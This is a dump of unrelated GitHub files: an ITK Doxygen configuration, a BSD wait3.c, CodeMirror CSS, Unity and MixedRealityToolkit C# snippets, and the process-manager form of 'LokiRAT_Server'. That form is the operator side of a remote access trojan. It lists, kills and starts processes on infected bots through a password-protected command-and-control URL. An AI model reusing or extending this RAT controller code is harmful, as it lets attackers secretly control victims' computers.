# that is typed after a \internal command is included. If the tag is set
# to NO (the default) then the documentation will be excluded.
# Set it to YES to include the internal documentation.
INTERNAL_DOCS = NO
# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will
# generate a class diagram (in Html and LaTeX) for classes with base or
# super classes. Setting the tag to NO turns the diagrams off.
CLASS_DIAGRAMS = NO
# If the SOURCE_BROWSER tag is set to YES then a list of source files will
# be generated. Documented entities will be cross-referenced with these sources.
SOURCE_BROWSER = NO
# Setting the INLINE_SOURCES tag to YES will include the body
# of functions and classes directly in the documentation.
INLINE_SOURCES = NO
# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct
# doxygen to hide any special comment blocks from generated source code
# fragments. Normal C and C++ comments will always remain visible.
STRIP_CODE_COMMENTS = YES
# If the CASE_SENSE_NAMES tag is set to NO (the default) then Doxygen
# will only generate file names in lower case letters. If set to
# YES upper case letters are also allowed. This is useful if you have
# classes or files whose names only differ in case and if your file system
# supports case sensitive file names.
CASE_SENSE_NAMES = NO
# If the SHORT_NAMES tag is set to NO (the default) then Doxygen will
# generate documentation file names that include the class names. If
# set to YES, short names in the format a00000.html will be used.
# This may be necessary to support 8.3 filesystems.
SHORT_NAMES = NO
# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen
# will show members with their full class and namespace scopes in the
# documentation. If set to YES the scope will be hidden.
HIDE_SCOPE_NAMES = NO
# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen
# will generate a verbatim copy of the header file for each class for
# which an include is specified. Set to NO to disable this.
VERBATIM_HEADERS = NO
# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen
# will put list of the files that are included by a file in the documentation
# of that file.
SHOW_INCLUDE_FILES = NO
# If the JAVADOC_AUTOBRIEF tag is set to YES (the default) then Doxygen
# will interpret the first line (until the first dot) of a JavaDoc-style
# comment as the brief description. If set to NO, the Javadoc-style will
# behave just like the Qt-style comments.
JAVADOC_AUTOBRIEF = NO
# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented
# member inherits the documentation from any documented member that it
# reimplements.
INHERIT_DOCS = YES
# If the INLINE_INFO tag is set to YES (the default) then a tag [inline]
# is inserted in the documentation for inline members.
INLINE_INFO = YES
# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen
# will sort the (detailed) documentation of file and class members
# alphabetically by member name. If set to NO the members will appear in
# declaration order.
SORT_MEMBER_DOCS = YES
# The TAB_SIZE tag can be used to set the number of spaces in a tab.
# Doxygen uses this value to replace tabs by spaces in code fragments.
TAB_SIZE = 8
# This tag can be used to specify a number of aliases that acts
# as commands in the documentation. An alias has the form "name=value".
# For example adding "sideeffect=\par Side Effects:\n" will allow you to
# put the command \sideeffect (or @sideeffect) in the documentation, which
# will result in a user-defined paragraph with heading "Side Effects:".
# You can put \n's in the value part of an alias to insert newlines.
ALIASES = "wikimainaddress{1}=<a href=\"\1\">All Examples</a>" \
"wikiexamplemaintitle=\par Wiki Examples:\n\n" \
"wikiexample{2}=\li https://www.itk.org/Wiki/ITK/Examples/\1 -- \2\n" \
"wiki=\wikiexamplemaintitle \li \wikimainaddress{https://www.itk.org/Wiki/ITK/Examples}\n" \
"endwiki=\n\n\n"
# The IMAGE_PATH tag can be used to specify one or more files or
# directories that contain image that are included in the documentation (see
# the \image command).
IMAGE_PATH = "@ITK_CMAKE_DIR@/../Documentation/Art" \
"@ITK_BINARY_DIR@/Utilities/Doxygen/Modules"
# The ENABLE_SECTIONS tag can be used to enable conditional
# documentation sections, marked by \if sectionname ... \endif.
ENABLED_SECTIONS =
#---------------------------------------------------------------------------
# configuration options related to warning and progress messages
#---------------------------------------------------------------------------
# The QUIET tag can be used to turn on/off the messages that are generated
# by doxygen. Possible values are YES and NO. If left blank NO is used.
QUIET = YES
# The WARNINGS tag can be used to turn on/off the warning messages that are
# generated by doxygen. Possible values are YES and NO. If left blank
# NO is used.
WARNINGS = NO
# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings
# for undocumented members. If EXTRACT_ALL is set to YES then this flag will
# automatically be disabled.
WARN_IF_UNDOCUMENTED = NO
# The WARN_FORMAT tag determines the format of the warning messages that
# doxygen can produce. The string should contain the $file, $line, and $text
# tags, which will be replaced by the file and line number from which the
# warning originated and the warning text.
WARN_FORMAT = "$file:$line: $text"
#---------------------------------------------------------------------------
# configuration options related to the input files
#---------------------------------------------------------------------------
# The INPUT tag can be used to specify the files and/or directories that
# contain documented source files. You may enter file names like "myfile.cpp"
# or directories like "/usr/src/myproject". Separate the files or directories
# with spaces.
INPUT = @ITK_WRAP_DOC_DOXYGEN_HEADERS_FORMATED@
# The INPUT_FILTER tag can be used to specify a program that doxygen should
# invoke to filter for each input file. Doxygen will invoke the filter program
# by executing (via popen()) the command <filter> <input-file>, where <filter>
# is the value of the INPUT_FILTER tag, and <input-file> is the name of an
# input file. Doxygen will then use the output that the filter program writes
# to standard output.
INPUT_FILTER = "grep -v \\example"
#---------------------------------------------------------------------------
# configuration options related to the alphabetical class index
#---------------------------------------------------------------------------
# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index
# of all compounds will be generated. Enable this if the project
# contains a lot of classes, structs, unions or interfaces.
ALPHABETICAL_INDEX = NO
#---------------------------------------------------------------------------
# configuration options related to the HTML output
#---------------------------------------------------------------------------
# If the GENERATE_HTML tag is set to YES (the default) Doxygen will
# generate HTML output.
GENERATE_HTML = NO
#---------------------------------------------------------------------------
# configuration options related to the LaTeX output
#---------------------------------------------------------------------------
# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will
# generate Latex output.
GENERATE_LATEX = NO
#---------------------------------------------------------------------------
# configuration options related to the RTF output
#---------------------------------------------------------------------------
# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output
# For now this is experimental and is disabled by default. The RTF output
# is optimised for Word 97 and may not look too pretty with other readers
# or editors.
GENERATE_RTF = NO
#---------------------------------------------------------------------------
# configuration options related to the man page output
#---------------------------------------------------------------------------
# If the GENERATE_MAN tag is set to YES (the default) Doxygen will
# generate man pages
GENERATE_MAN = NO
# The MAN_OUTPUT tag is used to specify where the man pages will be put.
# If a relative path is entered the value of OUTPUT_DIRECTORY will be
# put in front of it. If left blank `man' will be used as the default path.
MAN_OUTPUT = .
# The MAN_EXTENSION tag determines the extension that is added to
# the generated man pages (default is the subroutine's section .3)
MAN_EXTENSION = .3
#---------------------------------------------------------------------------
# Configuration options related to the preprocessor
#---------------------------------------------------------------------------
# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will
# evaluate all C-preprocessor directives found in the sources and include
# files.
ENABLE_PREPROCESSING = YES
# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro
# names in the source code. If set to NO (the default) only conditional
# compilation will be performed.
MACRO_EXPANSION = YES
# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files
# in the INCLUDE_PATH (see below) will be search if a #include is found.
SEARCH_INCLUDES = NO
# The PREDEFINED tag can be used to specify one or more macro names that
# are defined before the preprocessor is started (similar to the -D option of
# gcc). The argument of the tag is a list of macros of the form: name
# or name=definition (no spaces). If the definition and the = are
# omitted =1 is assumed.
PREDEFINED = "itkNotUsed(x)="\
"itkSetMacro(name,type)= \
virtual void Set##name (type _arg);" \
"itkGetMacro(name,type)= \
virtual type Get##name ();" \
"itkGetConstMacro(name,type)= \
virtual type Get##name () const;" \
"itkSetStringMacro(name)= \
virtual void Set##name (const char* _arg);" \
"itkGetStringMacro(name)= \
virtual const char* Get##name () const;" \
"itkSetClampMacro(name,type,min,max)= \
virtual void Set##name (type _arg);" \
"itkSetObjectMacro(name,type)= \
virtual void Set##name (type* _arg);" \
virtual type* Get##name ();" \
"itkSetConstObjectMacro(name,type)= \
virtual void Set##name ( const type* _arg);" \
"itkGetConstObjectMacro(name,type)= \
virtual const type* Get##name ();" \
"itkGetConstReferenceMacro(name,type)= \
virtual const type& Get##name ();" \
"itkGetConstReferenceObjectMacro(name,type)= \
virtual const type::Pointer& Get##name () const;" \
"itkBooleanMacro(name)= \
virtual void name##On (); \
virtual void name##Off ();" \
"itkSetVector2Macro(name,type)= \
virtual void Set##name (type _arg1, type _arg2) \
virtual void Set##name (type _arg[2]);" \
"itkGetVector2Macro(name,type)= \
virtual type* Get##name () const; \
virtual void Get##name (type& _arg1, type& _arg2) const; \
virtual void Get##name (type _arg[2]) const;" \
"itkSetVector3Macro(name,type)= \
virtual void Set##name (type _arg1, type _arg2, type _arg3) \
virtual void Set##name (type _arg[3]);" \
"itkGetVector3Macro(name,type)= \
virtual type* Get##name () const; \
virtual void Get##name (type& _arg1, type& _arg2, type& _arg3) const; \
virtual void Get##name (type _arg[3]) const;" \
"itkSetVector4Macro(name,type)= \
virtual void Set##name (type _arg1, type _arg2, type _arg3, type _arg4) \
virtual void Set##name (type _arg[4]);" \
"itkGetVector4Macro(name,type)= \
virtual type* Get##name () const; \
virtual void Get##name (type& _arg1, type& _arg2, type& _arg3, type& _arg4) const; \
virtual void Get##name (type _arg[4]) const;" \
"itkSetVector6Macro(name,type)= \
virtual void Set##name (type _arg1, type _arg2, type _arg3, type _arg4, type _arg5, type _arg6) \
virtual void Set##name (type _arg[6]);" \
"itkGetVector6Macro(name,type)= \
virtual type* Get##name () const; \
virtual void Get##name (type& _arg1, type& _arg2, type& _arg3, type& _arg4, type& _arg5, type& _arg6) const; \
virtual void Get##name (type _arg[6]) const;" \
"itkSetVectorMacro(name,type,count)= \
virtual void Set##name(type data[]);" \
"itkGetVectorMacro(name,type,count)= \
virtual type* Get##name () const;" \
"itkNewMacro(type)= \
static Pointer New();" \
"itkTypeMacro(thisClass,superclass)= \
virtual const char *GetClassName() const;" \
"itkEventMacro(thisClass,superclass)= \
class thisClass : public superclass {};" \
"itkConceptMacro(name,concept)= \
enum { name = 0 };" \
"std::numeric_limits= \
std::numeric_limits" \
"ITK_TYPENAME= \
typename" \
"FEM_ABSTRACT_CLASS(thisClass,parentClass)= \
public: \
/** Standard "Self" type alias.*/ \
using Self = thisClass; \
/** Standard "Superclass" type alias. */ \
using Superclass = parentClass; \
/** Pointer or SmartPointer to an object. */ \
using Pointer = Self*; \
/** Const pointer or SmartPointer to an object. */ \
using ConstPointer = const Self*; \
private:" \
"FEM_CLASS(thisClass,parentClass)= \
FEM_ABSTRACT_CLASS(thisClass,parentClass) \
public: \
/** Create a new object from the existing one */ \
virtual Baseclass::Pointer Clone() const; \
/** Class ID for FEM object factory */ \
static const int CLID; \
/** Virtual function to access the class ID */ \
virtual int ClassID() const \
{ return CLID; } \
/** Object creation in an itk compatible way */ \
static Self::Pointer New() \
{ return new Self(); } \
private:" \
"ERROR_CHECKING" \
"VCL_USE_NATIVE_STL=1" "VCL_USE_NATIVE_COMPLEX=1" \
"VCL_HAS_BOOL=1" "VXL_BIG_ENDIAN=1" "VXL_LITTLE_ENDIAN=0"\
"VNL_DLL_DATA=" "size_t=vcl_size_t" \
"ITK_USE_FFTWD" "ITK_USE_FFTWF"
# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES
# then the macro expansion is limited to the macros specified with the
# PREDEFINED tag.
EXPAND_ONLY_PREDEF = YES
#---------------------------------------------------------------------------
# Configuration::addtions related to external references
#---------------------------------------------------------------------------
# If the ALLEXTERNALS tag is set to YES all external classes will be listed
# in the class index. If set to NO only the inherited external classes
# will be listed.
ALLEXTERNALS = NO
# Do not generate graphviz output for the wrappers
HAVE_DOT = NO
# Dump the XML structure to be used by swig
GENERATE_XML = YES
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 1988, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD: src/lib/libc/gen/wait3.c,v 1.1.1.1.14.1 2001/03/05 09:52:13 obrien Exp $
* $DragonFly: src/lib/libc/gen/wait3.c,v 1.4 2005/11/13 00:07:42 swildner Exp $
*
* @(#)wait3.c 8.1 (Berkeley) 6/4/93
*/
#include "namespace.h"
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/resource.h>
#include "un-namespace.h"
pid_t
wait3(int *istat, int options, struct rusage *rup)
{
return (_wait4(WAIT_ANY, istat, options, rup));
}
|
{
"pile_set_name": "Github"
}
|
namespace LokiRAT_Server
{
using System;
using System.ComponentModel;
using System.Drawing;
using System.Net;
using System.Text.RegularExpressions;
using System.Windows.Forms;
public class processManager : Form
{
private WebClient client = new WebClient();
private ColumnHeader columnHeader1;
private ColumnHeader columnHeader2;
private ColumnHeader columnHeader3;
private IContainer components = null;
private ContextMenuStrip contextMenuStrip1;
private ImageList imageList1;
private ToolStripMenuItem killProcessToolStripMenuItem1;
private ListView listView1;
private string myLastCommand = "-1";
private ToolStripMenuItem reloadToolStripMenuItem1;
private ToolStripMenuItem startProcessToolStripMenuItem1;
private System.Windows.Forms.Timer timer1;
private ToolStripSeparator toolStripSeparator1;
public processManager()
{
this.InitializeComponent();
}
protected override void Dispose(bool disposing)
{
if (disposing && (this.components != null))
{
this.components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new Container();
ComponentResourceManager manager = new ComponentResourceManager(typeof(processManager));
this.listView1 = new ListView();
this.columnHeader1 = new ColumnHeader();
this.columnHeader2 = new ColumnHeader();
this.columnHeader3 = new ColumnHeader();
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
this.reloadToolStripMenuItem1 = new ToolStripMenuItem();
this.toolStripSeparator1 = new ToolStripSeparator();
this.killProcessToolStripMenuItem1 = new ToolStripMenuItem();
this.startProcessToolStripMenuItem1 = new ToolStripMenuItem();
this.imageList1 = new ImageList(this.components);
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout();
base.SuspendLayout();
this.listView1.Anchor = AnchorStyles.Right | AnchorStyles.Left | AnchorStyles.Bottom | AnchorStyles.Top;
this.listView1.Columns.AddRange(new ColumnHeader[] { this.columnHeader1, this.columnHeader2, this.columnHeader3 });
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
this.listView1.FullRowSelect = true;
this.listView1.GridLines = true;
this.listView1.Location = new Point(0, -2);
this.listView1.MultiSelect = false;
this.listView1.Name = "listView1";
this.listView1.ShowGroups = false;
this.listView1.Size = new Size(530, 0x167);
this.listView1.SmallImageList = this.imageList1;
this.listView1.TabIndex = 0;
this.listView1.UseCompatibleStateImageBehavior = false;
this.listView1.View = View.Details;
this.columnHeader1.Text = "Image Name";
this.columnHeader1.Width = 0x8a;
this.columnHeader2.Text = "Memory (Private Working Set)";
this.columnHeader2.Width = 120;
this.columnHeader3.Text = "Window Title";
this.columnHeader3.Width = 210;
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[] { this.reloadToolStripMenuItem1, this.toolStripSeparator1, this.killProcessToolStripMenuItem1, this.startProcessToolStripMenuItem1 });
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new Size(0x8e, 0x4c);
this.reloadToolStripMenuItem1.Image = (Image) manager.GetObject("reloadToolStripMenuItem1.Image");
this.reloadToolStripMenuItem1.Name = "reloadToolStripMenuItem1";
this.reloadToolStripMenuItem1.Size = new Size(0x8d, 0x16);
this.reloadToolStripMenuItem1.Text = "Reload";
this.reloadToolStripMenuItem1.Click += new EventHandler(this.reloadToolStripMenuItem1_Click);
this.toolStripSeparator1.Name = "toolStripSeparator1";
this.toolStripSeparator1.Size = new Size(0x8a, 6);
this.killProcessToolStripMenuItem1.Image = (Image) manager.GetObject("killProcessToolStripMenuItem1.Image");
this.killProcessToolStripMenuItem1.Name = "killProcessToolStripMenuItem1";
this.killProcessToolStripMenuItem1.Size = new Size(0x8d, 0x16);
this.killProcessToolStripMenuItem1.Text = "Kill Process";
this.killProcessToolStripMenuItem1.Click += new EventHandler(this.killProcessToolStripMenuItem1_Click);
this.startProcessToolStripMenuItem1.Image = (Image) manager.GetObject("startProcessToolStripMenuItem1.Image");
this.startProcessToolStripMenuItem1.Name = "startProcessToolStripMenuItem1";
this.startProcessToolStripMenuItem1.Size = new Size(0x8d, 0x16);
this.startProcessToolStripMenuItem1.Text = "Start Process";
this.startProcessToolStripMenuItem1.Click += new EventHandler(this.startProcessToolStripMenuItem1_Click);
this.imageList1.ImageStream = (ImageListStreamer) manager.GetObject("imageList1.ImageStream");
this.imageList1.TransparentColor = Color.Transparent;
this.imageList1.Images.SetKeyName(0, "App.png");
this.timer1.Enabled = true;
this.timer1.Interval = 500;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
base.AutoScaleDimensions = new SizeF(6f, 13f);
base.AutoScaleMode = AutoScaleMode.Font;
base.ClientSize = new Size(530, 0x165);
base.Controls.Add(this.listView1);
base.Icon = (Icon) manager.GetObject("$this.Icon");
base.Name = "processManager";
this.Text = "Process Manager | LokiRAT";
base.Load += new EventHandler(this.processManager_Load);
this.contextMenuStrip1.ResumeLayout(false);
base.ResumeLayout(false);
}
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
try
{
this.loadPage("type=command&command=pkill|" + this.listView1.SelectedItems[0].Text);
this.listView1.Items.Clear();
}
catch
{
}
}
private void killProcessToolStripMenuItem1_Click(object sender, EventArgs e)
{
try
{
this.loadPage("type=command&command=pkill|" + this.listView1.SelectedItems[0].Text);
this.listView1.Items.Clear();
}
catch
{
}
}
public string loadPage(string toHost)
{
string str = null;
try
{
this.client.Headers["User-Agent"] = main.userAgent;
str = this.client.DownloadString(main.connectionURL + "?pass=" + main.connectionPass + "&id=" + main.currentID + "&" + toHost);
}
catch
{
new configuration().ShowDialog();
}
return str;
}
private void processManager_Load(object sender, EventArgs e)
{
this.loadPage("type=command&command=process");
}
private void reloadToolStripMenuItem_Click(object sender, EventArgs e)
{
this.listView1.Items.Clear();
this.loadPage("type=command&command=process");
}
private void reloadToolStripMenuItem1_Click(object sender, EventArgs e)
{
this.listView1.Items.Clear();
this.loadPage("type=command&command=process");
}
private void startProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
new execute().ShowDialog();
}
private void startProcessToolStripMenuItem1_Click(object sender, EventArgs e)
{
new execute().ShowDialog();
}
private void timer1_Tick(object sender, EventArgs e)
{
string[] strArray = new string[5];
string[] strArray2 = new string[5];
try
{
if (main.lastCommand[main.selectedBot] != this.myLastCommand)
{
this.myLastCommand = main.lastCommand[main.selectedBot];
strArray2 = Regex.Split(main.lastCommandText[main.selectedBot], "{-p}");
if (strArray2[0] == "LSprocess")
{
this.listView1.Items.Clear();
for (int i = 1; i < (strArray2.Length - 1); i++)
{
strArray = Regex.Split(strArray2[i], "{-pi}");
ListViewItem item = this.listView1.Items.Add(strArray[0]);
item.ImageIndex = 0;
int num2 = Convert.ToInt32(strArray[1]) / 0x400;
item.SubItems.Add(num2.ToString() + " KB");
item.SubItems.Add(strArray[2]);
}
}
else if (strArray2[0] == "RSpkill")
{
this.loadPage("type=command&command=process");
}
}
}
catch
{
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
/* BASICS */
.CodeMirror {
/* Set height, width, borders, and global font properties here */
font-family: monospace;
height: 300px;
}
.CodeMirror-scroll {
/* Set scrolling behaviour here */
overflow: auto;
}
/* PADDING */
.CodeMirror-lines {
padding: 4px 0;
/* Vertical padding around content */
}
.CodeMirror pre {
padding: 0 4px;
/* Horizontal padding of content */
}
.CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
background-color: white;
/* The little square between H and V scrollbars */
}
/* GUTTER */
.CodeMirror-gutters {
border-right: 1px solid #ddd;
background-color: #f7f7f7;
white-space: nowrap;
}
.CodeMirror-linenumbers {
}
.CodeMirror-linenumber {
padding: 0 3px 0 5px;
min-width: 20px;
text-align: right;
color: #999;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
.CodeMirror-guttermarker {
color: black;
}
.CodeMirror-guttermarker-subtle {
color: #999;
}
/* CURSOR */
.CodeMirror div.CodeMirror-cursor {
border-left: 1px solid black;
}
/* Shown when moving in bi-directional text */
.CodeMirror div.CodeMirror-secondarycursor {
border-left: 1px solid silver;
}
.CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursor {
width: auto;
border: 0;
background: #7e7;
}
.cm-animate-fat-cursor {
width: auto;
border: 0;
-webkit-animation: blink 1.06s steps(1) infinite;
-moz-animation: blink 1.06s steps(1) infinite;
animation: blink 1.06s steps(1) infinite;
}
@-moz-keyframes blink {
0% {
background: #7e7;
}
50% {
background: none;
}
100% {
background: #7e7;
}
}
@-webkit-keyframes blink {
0% {
background: #7e7;
}
50% {
background: none;
}
100% {
background: #7e7;
}
}
@keyframes blink {
0% {
background: #7e7;
}
50% {
background: none;
}
100% {
background: #7e7;
}
}
/* Can style cursor different in overwrite (non-insert) mode */
div.CodeMirror-overwrite div.CodeMirror-cursor {
}
.cm-tab {
display: inline-block;
}
.CodeMirror-ruler {
border-left: 1px solid #ccc;
position: absolute;
}
/* DEFAULT THEME */
.cm-s-default .cm-keyword {
color: #708;
}
.cm-s-default .cm-atom {
color: #219;
}
.cm-s-default .cm-number {
color: #164;
}
.cm-s-default .cm-def {
color: #00f;
}
.cm-s-default .cm-variable, .cm-s-default .cm-punctuation, .cm-s-default .cm-property, .cm-s-default .cm-operator {
}
.cm-s-default .cm-variable-2 {
color: #05a;
}
.cm-s-default .cm-variable-3 {
color: #085;
}
.cm-s-default .cm-comment {
color: #a50;
}
.cm-s-default .cm-string {
color: #a11;
}
.cm-s-default .cm-string-2 {
color: #f50;
}
.cm-s-default .cm-meta {
color: #555;
}
.cm-s-default .cm-qualifier {
color: #555;
}
.cm-s-default .cm-builtin {
color: #30a;
}
.cm-s-default .cm-bracket {
color: #997;
}
.cm-s-default .cm-tag {
color: #170;
}
.cm-s-default .cm-attribute {
color: #00c;
}
.cm-s-default .cm-header {
color: blue;
}
.cm-s-default .cm-quote {
color: #090;
}
.cm-s-default .cm-hr {
color: #999;
}
.cm-s-default .cm-link {
color: #00c;
}
.cm-negative {
color: #d44;
}
.cm-positive {
color: #292;
}
.cm-header, .cm-strong {
font-weight: bold;
}
.cm-em {
font-style: italic;
}
.cm-link {
text-decoration: underline;
}
.cm-s-default .cm-error {
color: #f00;
}
.cm-invalidchar {
color: #f00;
}
/* Default styles for common addons */
div.CodeMirror span.CodeMirror-matchingbracket {
color: #0f0;
}
div.CodeMirror span.CodeMirror-nonmatchingbracket {
color: #f22;
}
.CodeMirror-matchingtag {
background: rgba(255, 150, 0, .3);
}
.CodeMirror-activeline-background {
background: #e8f2ff;
}
/* STOP */
/* The rest of this file contains styles related to the mechanics of
the editor. You probably shouldn't touch them. */
.CodeMirror {
line-height: 1;
position: relative;
overflow: hidden;
background: white;
color: black;
}
.CodeMirror-scroll {
/* 30px is the magic margin used to hide the element's real scrollbars */
/* See overflow: hidden in .CodeMirror */
margin-bottom: -30px;
margin-right: -30px;
padding-bottom: 30px;
height: 100%;
outline: none;
/* Prevent dragging from highlighting the element */
position: relative;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
.CodeMirror-sizer {
position: relative;
border-right: 30px solid transparent;
-moz-box-sizing: content-box;
box-sizing: content-box;
}
/* The fake, visible scrollbars. Used to force redraw during scrolling
before actuall scrolling happens, thus preventing shaking and
flickering artifacts. */
.CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler {
position: absolute;
z-index: 6;
display: none;
}
.CodeMirror-vscrollbar {
right: 0;
top: 0;
overflow-x: hidden;
overflow-y: scroll;
}
.CodeMirror-hscrollbar {
bottom: 0;
left: 0;
overflow-y: hidden;
overflow-x: scroll;
}
.CodeMirror-scrollbar-filler {
right: 0;
bottom: 0;
}
.CodeMirror-gutter-filler {
left: 0;
bottom: 0;
}
.CodeMirror-gutters {
position: absolute;
left: 0;
top: 0;
padding-bottom: 30px;
z-index: 3;
}
.CodeMirror-gutter {
white-space: normal;
height: 100%;
-moz-box-sizing: content-box;
box-sizing: content-box;
padding-bottom: 30px;
margin-bottom: -32px;
display: inline-block;
/* Hack to make IE7 behave */
*zoom:1;
*display:inline;
}
.CodeMirror-gutter-elt {
position: absolute;
cursor: default;
z-index: 4;
}
.CodeMirror-lines {
cursor: text;
}
.CodeMirror pre {
/* Reset some styles that the rest of the page might have set */
-moz-border-radius: 0;
-webkit-border-radius: 0;
border-radius: 0;
border-width: 0;
background: transparent;
font-family: inherit;
font-size: inherit;
margin: 0;
white-space: pre;
word-wrap: normal;
line-height: inherit;
color: inherit;
z-index: 2;
position: relative;
overflow: visible;
}
.CodeMirror-wrap pre {
word-wrap: break-word;
white-space: pre-wrap;
word-break: normal;
}
.CodeMirror-linebackground {
position: absolute;
left: 0;
right: 0;
top: 0;
bottom: 0;
z-index: 0;
}
.CodeMirror-linewidget {
position: relative;
z-index: 2;
overflow: auto;
}
.CodeMirror-widget {
}
.CodeMirror-wrap .CodeMirror-scroll {
overflow-x: hidden;
}
.CodeMirror-measure {
position: absolute;
width: 100%;
height: 0;
overflow: hidden;
visibility: hidden;
}
.CodeMirror-measure pre {
position: static;
}
.CodeMirror div.CodeMirror-cursor {
position: absolute;
border-right: none;
width: 0;
}
div.CodeMirror-cursors {
visibility: hidden;
position: relative;
z-index: 1;
}
.CodeMirror-focused div.CodeMirror-cursors {
visibility: visible;
}
.CodeMirror-selected {
background: #d9d9d9;
}
.CodeMirror-focused .CodeMirror-selected {
background: #d7d4f0;
}
.CodeMirror-crosshair {
cursor: crosshair;
}
.cm-searching {
background: #ffa;
background: rgba(255, 255, 0, .4);
}
/* IE7 hack to prevent it from returning funny offsetTops on the spans */
.CodeMirror span {
*vertical-align: text-bottom;
}
/* Used to force a border model for a node */
.cm-force-border {
padding-right: .1px;
}
@media print {
/* Hide the cursor when printing */
.CodeMirror div.CodeMirror-cursors {
visibility: hidden;
}
}
/** custom **/
.CodeMirror {
border: 1px solid #555;
}
.cm-s-default .cm-scene-header,
.cm-s-default .cm-section {
font-weight: bold;
}
.cm-s-default .cm-synopsis,
.cm-s-default .cm-section {
color: #666666;
}
.cm-s-default .cm-force-blank-line {
background-color: #ff9999;
}
.cm-s-default .cm-force-blank-line:before {
content: " non-breaking line";
}
/* Night mode */
.night-mode .CodeMirror {
background-color: black;
color: #7f7f7f;
}
.night-mode .CodeMirror-selected {
background-color: #333333;
color: #black;
}
.night-mode .CodeMirror-activeline-background {
background: #111111;
}
/* CURSOR */
.night-mode .CodeMirror div.CodeMirror-cursor {
border-left: 1px solid #333333;
}
|
{
"pile_set_name": "Github"
}
|
using UnityEngine;
namespace Diablerie.Engine.Utility
{
public class Tools
{
public static float Mod(float a, float b)
{
return a - b * Mathf.Floor(a / b);
}
public static float ShortestDelta(float a, float b, float range)
{
return Mod(b - a + range / 2, range) - range / 2;
}
public static float ManhattanDistance(Vector2 a, Vector2 b)
{
return Mathf.Abs(a.x - b.x) + Mathf.Abs(a.y - b.y);
}
public static void DebugDrawBounds(Bounds bounds)
{
Debug.DrawLine(new Vector3(bounds.min.x, bounds.min.y), new Vector3(bounds.max.x, bounds.min.y));
Debug.DrawLine(new Vector3(bounds.max.x, bounds.max.y), new Vector3(bounds.max.x, bounds.min.y));
Debug.DrawLine(new Vector3(bounds.min.x, bounds.max.y), new Vector3(bounds.max.x, bounds.max.y));
Debug.DrawLine(new Vector3(bounds.min.x, bounds.max.y), new Vector3(bounds.min.x, bounds.min.y));
}
static Vector3[] rectTransformCorners = new Vector3[4];
public static Rect RectTransformToScreenRect(RectTransform transform)
{
transform.GetWorldCorners(rectTransformCorners);
var pos0 = RectTransformUtility.WorldToScreenPoint(Camera.main, rectTransformCorners[0]);
var pos1 = RectTransformUtility.WorldToScreenPoint(Camera.main, rectTransformCorners[1]);
var pos2 = RectTransformUtility.WorldToScreenPoint(Camera.main, rectTransformCorners[2]);
var pos3 = RectTransformUtility.WorldToScreenPoint(Camera.main, rectTransformCorners[3]);
return new Rect(pos0.x, pos0.y, pos2.x - pos1.x, pos1.y - pos0.y);
}
}
}
|
{
"pile_set_name": "Github"
}
|
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License. See LICENSE in the project root for license information.
using MixedRealityToolkit.InputModule.InputSources;
using UnityEditor;
using UnityEngine;
namespace MixedRealityToolkit.InputModule.EditorScript
{
[CustomEditor(typeof(SpeechInputSource))]
